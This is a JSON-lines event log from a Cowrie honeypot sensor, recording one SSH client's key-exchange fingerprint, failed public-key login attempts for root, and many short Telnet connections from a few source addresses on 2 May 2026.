{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.411916Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:d9:2e:89:f5:4e:00:fb:86:d9:9a:ed:e8:ec:c7:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjQ8IurlZHBwgHI1WJOIp1b4ZYZIJkHRac3PCtNWHmreRmagQYLiF4Uv+bt3sWtpUPoprZz+NAJXPHSPQzs/ScvTHNsRV6qcnlrrKCp2p/cHls0lVfPD3RZcpT51fRf5dpaLQ2V0cUI8OFRTDIayGtEJ5lsCdN/ZpZBBeV0dMkV4pYG/70Lrgme5XBMs6V0a3E482hKK54PPoO18x5hYaxeScz0hDZMuQozKUX3YGlts0c3cgpr4Uto60m3gEEJmukt+AitFWrHeQfeYVLrA40Gnyh3owGsULbiSGAJPXlsdUsTLh0nQylEW8VK/Kh1qGaVNAoQpSBwo+YDCIw2qa/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:d9:2e:89:f5:4e:00:fb:86:d9:9a:ed:e8:ec:c7:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.496575Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:d9:2e:89:f5:4e:00:fb:86:d9:9a:ed:e8:ec:c7:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjQ8IurlZHBwgHI1WJOIp1b4ZYZIJkHRac3PCtNWHmreRmagQYLiF4Uv+bt3sWtpUPoprZz+NAJXPHSPQzs/ScvTHNsRV6qcnlrrKCp2p/cHls0lVfPD3RZcpT51fRf5dpaLQ2V0cUI8OFRTDIayGtEJ5lsCdN/ZpZBBeV0dMkV4pYG/70Lrgme5XBMs6V0a3E482hKK54PPoO18x5hYaxeScz0hDZMuQozKUX3YGlts0c3cgpr4Uto60m3gEEJmukt+AitFWrHeQfeYVLrA40Gnyh3owGsULbiSGAJPXlsdUsTLh0nQylEW8VK/Kh1qGaVNAoQpSBwo+YDCIw2qa/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.499828Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:27:0e:77:0b:bb:e9:e9:bb:67:e7:29:f5:84:77:3d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIzcEJ5HlmVHqZ6i+iOdy3XTaEJD418IIU9w23WnX/H1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a3:27:0e:77:0b:bb:e9:e9:bb:67:e7:29:f5:84:77:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.521199Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:27:0e:77:0b:bb:e9:e9:bb:67:e7:29:f5:84:77:3d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIzcEJ5HlmVHqZ6i+iOdy3XTaEJD418IIU9w23WnX/H1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.524561Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:49:42:6e:e1:f6:7f:0f:f4:bb:26:a2:8c:b8:63:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAljVV4w2OgNuKhK4RDlKi9qgrq8K/j5cEX0Xo5nz/yGLjuv7yWwtic/QPPmSVGNOoAhDsCXV+1VQWlK/7/7TspsWbwHtdldWqSZtSjmwyYhsYwEdNwfVbZ/0fErUr/ojP61CrUZwCfBw7FgkEKec3mUSSjKtxP27EO8OQSUOLeI/iNcFcpBZP/ZSniTKZLmv+z2FhwpcFkMfpLMmN9C4Ga75hEtK/IspA4K9MJMAGvrSpy6jsSlt0NfV5IsSu7K8R4Ib/s0ek/KxtOkW6VumBv4dLxofmybrOXnykzkUFUaUSj1Gjl+6PFSvAa7DTpofyqDkR1VuqrvJzi9N8QCv00Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:49:42:6e:e1:f6:7f:0f:f4:bb:26:a2:8c:b8:63:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.552588Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:49:42:6e:e1:f6:7f:0f:f4:bb:26:a2:8c:b8:63:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAljVV4w2OgNuKhK4RDlKi9qgrq8K/j5cEX0Xo5nz/yGLjuv7yWwtic/QPPmSVGNOoAhDsCXV+1VQWlK/7/7TspsWbwHtdldWqSZtSjmwyYhsYwEdNwfVbZ/0fErUr/ojP61CrUZwCfBw7FgkEKec3mUSSjKtxP27EO8OQSUOLeI/iNcFcpBZP/ZSniTKZLmv+z2FhwpcFkMfpLMmN9C4Ga75hEtK/IspA4K9MJMAGvrSpy6jsSlt0NfV5IsSu7K8R4Ib/s0ek/KxtOkW6VumBv4dLxofmybrOXnykzkUFUaUSj1Gjl+6PFSvAa7DTpofyqDkR1VuqrvJzi9N8QCv00Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.555979Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:8b:a7:7a:a3:36:86:32:9a:a1:c2:28:21:ba:92:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMa341gvomU2g58OnUw8Xbxwivc9BytHuwTYnZcBAZpisM9hHBOp29utS9RpM8RdoCTRO7iq5r6+7vAAde9utcv0zzWYc3l9zM9acj5Nz3qJWhfC3S7Kdx4lJNfPzZHNnWSrUGe+1qk5IwrRybbw9lJnRgQ+kjS6nYy46o0GEZWwOJNKbAjLck+uw20PSCqnsJkpgHivZzSNmEXaI4MusQcv8vZ/FnXjTrnk2Mj6d2ETbnPXGLig55tMmv5/kw7hwXvfd/EsjfH3HILxcj7qTvC44wNs8+z2tR83/dMiP49ir2d/qS/Z5+5AKAWJlO7V/oG1fCFcvbqbcFrYbZrArb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:8b:a7:7a:a3:36:86:32:9a:a1:c2:28:21:ba:92:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.579620Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:8b:a7:7a:a3:36:86:32:9a:a1:c2:28:21:ba:92:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMa341gvomU2g58OnUw8Xbxwivc9BytHuwTYnZcBAZpisM9hHBOp29utS9RpM8RdoCTRO7iq5r6+7vAAde9utcv0zzWYc3l9zM9acj5Nz3qJWhfC3S7Kdx4lJNfPzZHNnWSrUGe+1qk5IwrRybbw9lJnRgQ+kjS6nYy46o0GEZWwOJNKbAjLck+uw20PSCqnsJkpgHivZzSNmEXaI4MusQcv8vZ/FnXjTrnk2Mj6d2ETbnPXGLig55tMmv5/kw7hwXvfd/EsjfH3HILxcj7qTvC44wNs8+z2tR83/dMiP49ir2d/qS/Z5+5AKAWJlO7V/oG1fCFcvbqbcFrYbZrArb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.582978Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":41202,"dst_ip":"10.17.0.5","dst_port":23,"session":"39f1b92fca86","protocol":"telnet","message":"New connection: 144.91.112.66:41202 (10.17.0.5:23) [session: 39f1b92fca86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.601098Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:df:08:78:19:52:8c:ea:ec:69:8b:f4:46:ef:a5:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYyG5/izqwFW/Gpf7mPP+fobs0Bx2MN9KfxXyu7WagFrnrlaZbe7xwSIuXgIrxYM1auvbQA9go2OptRjloQRSr3dAyRDnzTAhVY4ZE+eTAei9c/d7PUq8HyykVt8Ykd+61Gw/RvMjN5bSfsXySXu3ktJc7J1iywbhjcD2oRb4Ti1F5qjdw9HI/EnEtXDtLsdSKLPr7sauhXlD0AfzvzKSaVGU/3Xby76B6yU4LVjCGmqHYOADut8hjn1mBsL5+0mfO0DFX14sXbJvmdwRozwoGg4jjZNhVRN0OrGDKYLUy8dxPetmw4B4Rh8E/nqjVUHNopTV5JkpMMZov3FDl0GXVTxsoJLjDnqYU0hN22NqzwqQollSZBpMbGah4MkUWZuBqeupB/W4k4TL37E4roi1pzvFRTWZyCKXWezOQ8vfE1tynQbZRZkeYBHhAai8XL5DVouoJEQdsaUo9ow/vTDgDaDj5gOFPY1EpYfBkBPvrSenVAMh58TNPS/GAi3qpviZ5xGs8i3bRt0deyBLGF/StKiEDQmsrah7DFLuAo9UpX0T2s4XJKBT0oYPsT0bZbuQB9mQQ+p8zqZJZq747K1XU3UsHmCwKYSx+hEJlShkLXz6EC6H0ha8d0VWZd3q61GtM+jIAu0M6QtTX+B+nvCfr30Ul8itR/+M+wlyB2rhwZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:df:08:78:19:52:8c:ea:ec:69:8b:f4:46:ef:a5:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.605598Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:df:08:78:19:52:8c:ea:ec:69:8b:f4:46:ef:a5:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYyG5/izqwFW/Gpf7mPP+fobs0Bx2MN9KfxXyu7WagFrnrlaZbe7xwSIuXgIrxYM1auvbQA9go2OptRjloQRSr3dAyRDnzTAhVY4ZE+eTAei9c/d7PUq8HyykVt8Ykd+61Gw/RvMjN5bSfsXySXu3ktJc7J1iywbhjcD2oRb4Ti1F5qjdw9HI/EnEtXDtLsdSKLPr7sauhXlD0AfzvzKSaVGU/3Xby76B6yU4LVjCGmqHYOADut8hjn1mBsL5+0mfO0DFX14sXbJvmdwRozwoGg4jjZNhVRN0OrGDKYLUy8dxPetmw4B4Rh8E/nqjVUHNopTV5JkpMMZov3FDl0GXVTxsoJLjDnqYU0hN22NqzwqQollSZBpMbGah4MkUWZuBqeupB/W4k4TL37E4roi1pzvFRTWZyCKXWezOQ8vfE1tynQbZRZkeYBHhAai8XL5DVouoJEQdsaUo9ow/vTDgDaDj5gOFPY1EpYfBkBPvrSenVAMh58TNPS/GAi3qpviZ5xGs8i3bRt0deyBLGF/StKiEDQmsrah7DFLuAo9UpX0T2s4XJKBT0oYPsT0bZbuQB9mQQ+p8zqZJZq747K1XU3UsHmCwKYSx+hEJlShkLXz6EC6H0ha8d0VWZd3q61GtM+jIAu0M6QtTX+B+nvCfr30Ul8itR/+M+wlyB2rhwZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.610328Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.640317Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72064518928528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:30.654810Z","src_ip":"144.91.112.66","session":"11b6c7820ea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":44390,"dst_ip":"10.17.0.5","dst_port":23,"session":"375c2a012913","protocol":"telnet","message":"New connection: 144.91.112.66:44390 (10.17.0.5:23) [session: 375c2a012913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:30.748323Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45882,"dst_ip":"159.203.135.109","dst_port":23,"session":"be9f31b338c6","protocol":"telnet","message":"New connection: 38.60.198.128:45882 (159.203.135.109:23) [session: be9f31b338c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:32.269908Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":49936,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8836aa9ae8d","protocol":"telnet","message":"New connection: 144.91.112.66:49936 (10.17.0.5:23) [session: c8836aa9ae8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:32.787101Z"}
{"eventid":"cowrie.session.closed","duration":41.569798707962036,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:34.372345Z","src_ip":"38.60.198.128","session":"6b6ff96b9ea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":58726,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e7ba96e3df","protocol":"telnet","message":"New connection: 144.91.112.66:58726 (10.17.0.5:23) [session: e0e7ba96e3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:35.810042Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":60646,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c3ee8bc8fd1","protocol":"telnet","message":"New connection: 144.91.112.66:60646 (10.17.0.5:23) [session: 8c3ee8bc8fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:36.426163Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":60746,"dst_ip":"10.17.0.5","dst_port":23,"session":"f829e5906459","protocol":"telnet","message":"New connection: 144.91.112.66:60746 (10.17.0.5:23) [session: f829e5906459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:36.457823Z"}
{"eventid":"cowrie.session.closed","duration":30.943788766860962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:37.295850Z","src_ip":"144.91.112.66","session":"d259d1142126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802898406982422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:38.116204Z","src_ip":"144.91.112.66","session":"fa356527cf00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55110,"dst_ip":"159.203.135.109","dst_port":23,"session":"65b944bbbcf4","protocol":"telnet","message":"New connection: 38.60.198.128:55110 (159.203.135.109:23) [session: 65b944bbbcf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:39.223516Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55126,"dst_ip":"159.203.135.109","dst_port":23,"session":"1662aebfb59f","protocol":"telnet","message":"New connection: 38.60.198.128:55126 (159.203.135.109:23) [session: 1662aebfb59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:39.268050Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":40434,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e8087747732","protocol":"telnet","message":"New connection: 144.91.112.66:40434 (10.17.0.5:23) [session: 4e8087747732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:39.361674Z"}
{"eventid":"cowrie.session.closed","duration":38.86034798622131,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:41.173281Z","src_ip":"192.211.53.160","session":"6d442305f56b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":51054,"dst_ip":"10.17.0.5","dst_port":23,"session":"2061436e9197","protocol":"telnet","message":"New connection: 144.91.112.66:51054 (10.17.0.5:23) [session: 2061436e9197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:43.016476Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":51144,"dst_ip":"10.17.0.5","dst_port":23,"session":"b018e733ec47","protocol":"telnet","message":"New connection: 144.91.112.66:51144 (10.17.0.5:23) [session: b018e733ec47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:43.042043Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":51414,"dst_ip":"10.17.0.5","dst_port":23,"session":"1acc9b43a0f7","protocol":"telnet","message":"New connection: 144.91.112.66:51414 (10.17.0.5:23) [session: 1acc9b43a0f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:43.148868Z"}
{"eventid":"cowrie.session.closed","duration":30.427767753601074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:43.253651Z","src_ip":"144.91.112.66","session":"60ec7e12eea1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":53296,"dst_ip":"10.17.0.5","dst_port":23,"session":"304fa5f342e3","protocol":"telnet","message":"New connection: 144.91.112.66:53296 (10.17.0.5:23) [session: 304fa5f342e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:43.855150Z"}
{"eventid":"cowrie.session.closed","duration":42.131903409957886,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:44.508824Z","src_ip":"192.211.53.160","session":"dad14a9aceae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60446,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d0a8c3d5a77","protocol":"telnet","message":"New connection: 38.60.198.128:60446 (159.203.135.109:23) [session: 6d0a8c3d5a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:44.579664Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":55420,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbcde99cdfad","protocol":"telnet","message":"New connection: 144.91.112.66:55420 (10.17.0.5:23) [session: fbcde99cdfad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:44.587672Z"}
{"eventid":"cowrie.session.closed","duration":31.214024543762207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:45.244459Z","src_ip":"144.91.112.66","session":"d73db7301853","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.167602062225342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:45.950762Z","src_ip":"144.91.112.66","session":"b908a54926c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77077293395996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:47.062613Z","src_ip":"144.91.112.66","session":"63cad602e998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":34260,"dst_ip":"10.17.0.5","dst_port":23,"session":"1150ce3585d7","protocol":"telnet","message":"New connection: 144.91.112.66:34260 (10.17.0.5:23) [session: 1150ce3585d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:47.107656Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":34802,"dst_ip":"10.17.0.5","dst_port":23,"session":"f49ae52932a3","protocol":"telnet","message":"New connection: 144.91.112.66:34802 (10.17.0.5:23) [session: f49ae52932a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:47.285635Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52038,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4c419bde696","protocol":"telnet","message":"New connection: 38.54.119.93:52038 (10.17.0.5:23) [session: a4c419bde696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:48.244596Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":45756,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b0f21ad142","protocol":"telnet","message":"New connection: 144.91.112.66:45756 (10.17.0.5:23) [session: c1b0f21ad142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:50.986190Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":47324,"dst_ip":"10.17.0.5","dst_port":23,"session":"80ac03b73e4d","protocol":"telnet","message":"New connection: 144.91.112.66:47324 (10.17.0.5:23) [session: 80ac03b73e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:51.531911Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33640,"dst_ip":"159.203.135.109","dst_port":23,"session":"473a1176539f","protocol":"telnet","message":"New connection: 38.60.198.128:33640 (159.203.135.109:23) [session: 473a1176539f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:53.199833Z"}
{"eventid":"cowrie.session.closed","duration":31.011305570602417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:53.375918Z","src_ip":"144.91.112.66","session":"4422685fb696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53415060043335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:55.187232Z","src_ip":"144.91.112.66","session":"01128aab44dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51207661628723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:55.596037Z","src_ip":"113.249.113.90","session":"16f5682ac04d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.031596422195435,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:56.081144Z","src_ip":"38.60.198.128","session":"b178c3cefa9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45662,"dst_ip":"159.203.135.109","dst_port":23,"session":"80fcb434dc3a","protocol":"telnet","message":"New connection: 38.60.198.128:45662 (159.203.135.109:23) [session: 80fcb434dc3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:57.092966Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":38092,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0c6c1a95302","protocol":"telnet","message":"New connection: 144.91.112.66:38092 (10.17.0.5:23) [session: c0c6c1a95302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:57.859612Z"}
{"eventid":"cowrie.session.closed","duration":30.401151657104492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:58.230351Z","src_ip":"144.91.112.66","session":"3eb5352ec12c","protocol":"telnet"}
